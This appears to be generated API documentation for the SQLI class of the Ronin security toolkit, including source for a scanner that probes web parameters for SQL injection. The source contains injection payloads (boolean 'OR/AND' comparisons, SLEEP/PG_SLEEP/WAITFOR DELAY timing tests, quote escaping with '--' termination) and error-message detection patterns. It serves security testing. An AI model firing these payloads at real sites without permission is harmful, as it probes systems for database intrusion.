Class: Ronin::Vulns::SQLI

Inherits:
WebVuln show all
Defined in:
lib/ronin/vulns/sqli.rb,
lib/ronin/vulns/sqli/error_pattern.rb

Overview

Represents a SQL injection vulnerability.

Features

  • Supports testing OR 1=1 and AND 1=0.
  • Supports testing SQL sleep functions.

Defined Under Namespace

Classes: ErrorPattern

Constant Summary collapse

ERROR_PATTERNS =

SQL error message patterns for various databases.

{
  postgresql: ErrorPattern[
    /PostgreSQL.*ERROR/,
    /Warning.*\Wpg_/,
    /valid PostgreSQL result/,
    /Npgsql\./,
    /PG::SyntaxError:/,
    /org\.postgresql\.util\.PSQLException/,
    /ERROR:\s\ssyntax error at or near/,
    /ERROR: parser: parse error at or near/,
    /PostgreSQL query failed/,
    /org\.postgresql\.jdbc/,
    %r{Pdo[\./_\\]Pgsql},
    /PSQLException/
  ],

  mysql: ErrorPattern[
    /SQL syntax.*MySQL/,
    /Warning.*\Wmysqli?_/,
    /MySQLSyntaxErrorException/,
    /valid MySQL result/,
    /check the manual that corresponds to your (MySQL|MariaDB) server version/,
    /Unknown column '[^ ]+' in 'field list'/,
    /MySqlClient\./,
    /com\.mysql\.jdbc/,
    /Zend_Db_(?:Adapter|Statement)_Mysqli_Exception/,
    %r{Pdo[\./_\\]Mysql},
    /MySqlException/
  ],

  sqlite: ErrorPattern[
    %r{SQLite/JDBCDriver},
    /SQLite\.Exception/,
    /(Microsoft|System)\.Data\.SQLite\.SQLiteException/,
    /Warning.*\W(?:sqlite_|SQLite3::)/,
    /\[SQLITE_ERROR\]/,
    /SQLite error \d+:/,
    /sqlite3\.OperationalError:/,
    /SQLite3::SQLException/,
    /org\.sqlite\.JDBC/,
    %r{Pdo[\./_\\]Sqlite},
    /SQLiteException/
  ],

  mssql: ErrorPattern[
    /Driver.* SQL[\-\_\ ]*Server/,
    /OLE DB.* SQL Server/,
    /\bSQL Server[^<"]+Driver/,
    /Warning.*\W(?:mssql|sqlsrv)_/,
    /\bSQL Server[^<"]+[0-9a-fA-F]{8}/,
    /System\.Data\.SqlClient\.SqlException/,
    /Exception.*\bRoadhouse\.Cms\./m,
    /Microsoft SQL Native Client error '[0-9a-fA-F]{8}/,
    /\[SQL Server\]/,
    /ODBC SQL Server Driver/,
    /ODBC Driver \d+ for SQL Server/,
    /SQLServer JDBC Driver/,
    /com\.jnetdirect\.jsql/,
    /macromedia\.jdbc\.sqlserver/,
    /Zend_Db_(?:Adapter|Statement)_Sqlsrv_Exception/,
    /com\.microsoft\.sqlserver\.jdbc/,
    %r{Pdo[\./_\\](?:Mssql|SqlSrv)},
    /SQL(?:Srv|Server)Exception/
  ],

  oracle: ErrorPattern[
    /\bORA-\d{5}/,
    /Oracle error/,
    /Oracle.*Driver/,
    /Warning.*\W(?:oci|ora)_/,
    /quoted string not properly terminated/,
    /SQL command not properly ended/,
    /macromedia\.jdbc\.oracle/,
    /oracle\.jdbc/,
    /Zend_Db_(?:Adapter|Statement)_Oracle_Exception/,
    %r{Pdo[\./_\\](?:Oracle|OCI)},
    /OracleException/
  ]
}
SLEEP_TESTS =

This constant is part of a private API. You should avoid using this constant if possible, as it may be removed or be changed in the future.

Various SQL sleep functions or statements.

[
  'SLEEP(5)',
  "PG_SLEEP(5)",
  "WAITFOR DELAY '0:0:5'"
]

Instance Attribute Summary collapse

Attributes inherited from WebVuln

#cookie, #cookie_param, #form_data, #form_param, #header_name, #headers, #http, #password, #query_param, #query_params, #referer, #request_method, #url, #user, #user_agent

Class Method Summary collapse

Instance Method Summary collapse

Methods inherited from WebVuln

#exploit, #exploit_cookie, #exploit_form_data, #exploit_headers, #exploit_query_params, #original_value, #random_value, #request, scan, scan_cookie_params, scan_form_params, scan_headers, scan_query_params, test, #to_curl, #to_http, #to_s

Constructor Details

#initialize(url, escape_quote: false, escape_parens: false, terminate: false, **kwargs) ⇒ SQLI

Initializes the SQL injection vulnerability.

Parameters:

  • url (URI::HTTP, String)

    The URL to test or exploit.

  • escape_quote (Boolean) (defaults to: false)

    Specifies whether to escape a quoted string value.

  • escape_parens (Boolean) (defaults to: false)

    Specifies whether to escape parenthesis.

  • terminate (Boolean) (defaults to: false)

    Specifies whether to terminate the SQL statement with --.



68
69
70
71
72
73
74
75
76
77
78
79
# File 'lib/ronin/vulns/sqli.rb', line 68

def initialize(url, escape_quote:    false,
                    escape_parens:   false,
                    terminate:       false,
                    **kwargs)
  super(url,**kwargs)

  @escape_quote  = escape_quote
  @escape_parens = escape_parens
  @terminate     = terminate

  @escape_string = build_escape_string
end

Instance Attribute Details

#escape_parensBoolean (readonly)

Specifies whether to escape parenthesis.

Returns:

  • (Boolean)


46
47
48
# File 'lib/ronin/vulns/sqli.rb', line 46

def escape_parens
  @escape_parens
end

#escape_quoteBoolean (readonly)

Specifies whether to escape a quoted string value.

Returns:

  • (Boolean)


41
42
43
# File 'lib/ronin/vulns/sqli.rb', line 41

def escape_quote
  @escape_quote
end

#terminateBoolean (readonly)

Specifies whether to terminate the SQL statement with --.

Returns:

  • (Boolean)


51
52
53
# File 'lib/ronin/vulns/sqli.rb', line 51

def terminate
  @terminate
end

Class Method Details

.test_param(url, escape_quote: [false, true], escape_parens: [false, true], terminate: [false, true], http:, **kwargs) ⇒ SQLI

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Tests the URL and a specific query param, header name, cookie param, or form param for SQL injections by enumerating over various SQLi configurations.

Parameters:

  • url (URI::HTTP)

    The URL to test.

  • escape_quote (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to escape a quoted string value. If not specified, with and without quoted string escaping will be tested.

  • escape_parens (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to escape parenthesis. If not specified, with and without parenthesis escaping will be tested.

  • terminate (Array<Boolean>, Boolean) (defaults to: [false, true])

    Controls whether to terminate the SQL statement with --. If not specified, with and without -- terminate will be tested.

  • http (Ronin::Support::Network::HTTP, nil)

    An HTTP session to use for testing the URL.

  • kwargs (Hash{Symbol => Object})

    Additional keyword arguments for WebVuln.scan.

Options Hash (**kwargs):

  • :query_param (Symbol, String, nil)

    The query param name to test.

  • :header_name (Symbol, String, nil)

    The header name to test.

  • :cookie_param (Symbol, String, true, nil)

    The cookie param name to test.

  • :form_param (Symbol, String, nil)

    The form param name to test.

Returns:

  • (SQLI)

    sqli The first discovered SQLi vulnerability for the specific query param, header name, cookie param, or form param.

Since:

  • 0.2.0



148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
# File 'lib/ronin/vulns/sqli.rb', line 148

def self.test_param(url, escape_quote:  [false, true],
                         escape_parens: [false, true],
                         terminate:     [false, true],
                         # keyword arguments for initialize
                         http: , **kwargs)
  Array(escape_quote).each do |escape_quote_value|
    Array(escape_parens).each do |escape_parens_value|
      Array(terminate).each do |terminate_value|
        vuln = new(url, escape_quote:    escape_quote_value,
                        escape_parens:   escape_parens_value,
                        terminate:       terminate_value,
                        http:            http,
                        **kwargs)

        return vuln if vuln.vulnerable?
      end
    end
  end

  return nil
end

.vuln_typeSymbol

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

This method is abstract.
Note:

This is used internally to map an vulnerability class to a printable type.

Returns the type or kind of vulnerability.

Returns:

  • (Symbol)


411
412
413
# File 'lib/ronin/vulns/sqli.rb', line 411

def self.vuln_type
  :sqli
end

Instance Method Details

#check_for_sql_errors(response) ⇒ Boolean

Checks if the response contains a SQL error message.

Parameters:

  • response (Net::HTTPResponse)

    The HTTP response object to check.

Returns:

  • (Boolean)

    Indicates whether the response was a 500 and if the response body contained a SQL error message.



305
306
307
308
309
310
311
312
313
314
315
# File 'lib/ronin/vulns/sqli.rb', line 305

def check_for_sql_errors(response)
  if response.code == '500'
    ERROR_PATTERNS.each_value do |error_pattern|
      if error_pattern =~ response.body
        return true
      end
    end
  end

  return false
end

#encode_payload(sql) ⇒ Object

Encodes the SQL payload.

See Also:



201
202
203
# File 'lib/ronin/vulns/sqli.rb', line 201

def encode_payload(sql)
  escape(sql)
end

#escape(sql) ⇒ String

Escapes the given SQL and turns it into a SQL injection.

Parameters:

  • sql (#to_s)

    The SQL expression to escape.

Returns:

  • (String)

    The escaped SQL expression.



179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# File 'lib/ronin/vulns/sqli.rb', line 179

def escape(sql)
  sqli = if sql.start_with?(';')
           "#{@escape_string}#{sql}"
         else
           "#{@escape_string} #{sql}"
         end

  if @terminate
    sqli << '--'
  else
    sqli.chop! if (@escape_parens && sqli.end_with?(')'))
    sqli.chop! if (@escape_quote  && sqli.end_with?("'"))
  end

  return sqli
end

#random_idInteger

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Returns a random ID.

Returns:

  • (Integer)

    A four digit ID.



325
326
327
# File 'lib/ronin/vulns/sqli.rb', line 325

def random_id
  rand(8_999..9999)
end

#test_or_true_and_falseBoolean

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Tests whether the URL is vulnerable to SQL injection, using the OR 1=1 vs. AND 1=0 technique.

Returns:

  • (Boolean)


337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
# File 'lib/ronin/vulns/sqli.rb', line 337

def test_or_true_and_false
  id = random_id

  response1 = exploit("OR #{id}=#{id}")
  response2 = exploit("AND #{random_id}=#{random_id}")

  # check for SQL errors in both responses
  if check_for_sql_errors(response1) || check_for_sql_errors(response2)
    return true
  end

  if response1.code =~ /^20[0-6]$/ && response2.code =~ /^20[0-6]$/
    # the first response contained more results than the second response
    return response1.body.length > response2.body.length
  elsif response1.code =~ /^20[0-6]$/ && response2.code =~ /^(?:404|500)$/
    # if the second response return an error, that indicates the
    # SQL expression evaluated to false and returned no results.
    return true
  end
end

#test_sleepBoolean

This method is part of a private API. You should avoid using this method if possible, as it may be removed or be changed in the future.

Tests whether the URL is vulnerable to SQL injection, by calling SQL sleep functions to see if it takes longer for the response to be returned.

Returns:

  • (Boolean)


376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
# File 'lib/ronin/vulns/sqli.rb', line 376

def test_sleep
  SLEEP_TESTS.each do |sql|
    [sql, ";SELECT #{sql}"].each do |sqli|
      start_time = Time.now
      response   = exploit(sqli)
      stop_time  = Time.now
      delta      = (stop_time - start_time)

      # check for SQL errors first
      if check_for_sql_errors(response)
        return true
      end

      # if the response took more than 5 seconds, our SQL sleep function
      # probably worked.
      return true if delta > 5.0
    end
  end

  return false
end

#vulnerable?Boolean

Tests whether the URL is vulnerable to SQL injection.

Returns:

  • (Boolean)


210
211
212
# File 'lib/ronin/vulns/sqli.rb', line 210

def vulnerable?
  test_or_true_and_false || test_sleep
end